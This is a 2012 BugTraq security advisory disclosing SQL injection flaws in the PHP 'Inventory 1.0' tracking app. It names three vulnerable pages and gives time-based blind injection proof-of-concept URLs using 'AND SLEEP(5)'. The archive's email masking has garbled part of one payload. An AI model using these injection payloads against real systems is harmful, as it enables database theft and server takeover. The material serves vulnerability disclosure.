BugTraq
Inventory 1.0 Multiple SQL Vulnerabilities Oct 26 2012 01:27PM
Thomas Richards (g13net gmail com)
# Exploit Title: Inventory 1.0 Multiple SQL Vulnerabilities
# Date: 10/19/12
# Author: G13
# Twitter: @g13net
# Software Site: https://github.com/farevalod/inventory
# Version: 1.0
# Category: webapp (php)
# dc585

##### ToC #####

0x01 Description
0x02 SQL Injection
0x03 Vendor Notification

##### 0x01 Description #####

PHP + SQL Inventory tracking system

##### 0x02 SQL Injection #####

The Inventoy application has muliple pages and parameters that are
vulnerable to SQL injection. These vulnerabilities could
be used to extract information from the database or take remote
control of the server.

-----Vulnerable Pages-----

http://localhost/inventory/consulta_fact.php?fact_num=[SQLi]
http://localhost/inventory/addinventario.php?ref=[SQLi]&sn=[SQLi]&factur
a=[SQLi]
http://localhost/inventory/newtransact.php?ref=[SQLi]

-----PoC Exploits-----

http://localhost/inventory/consulta_fact.php?fact_num=17 AND SLEEP(5)
http://localhost/inventory/addinventario.php?ref=555-555-0199 (at) example (dot) co [email concealed]
m'
AND SLEEP(5) AND 'EJxe'='EJxe&sn=555-555-
0199 (at) example (dot) com [email concealed]' AND SLEEP(5) AND
'IgkP'='IgkP&factura=555-555-0199 (at) example (dot) com [email concealed]' AND SLEEP(5) AND
'CFdY'='CFdY
http://localhost/inventory/newtransact.php?ref=RSC-280' AND SLEEP(5)
AND 'wIUB'='wIUB

##### 0x03 Vendor Notification #####

10/19/12 - Vendor Notified
10/26/12 - No response, disclosure

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus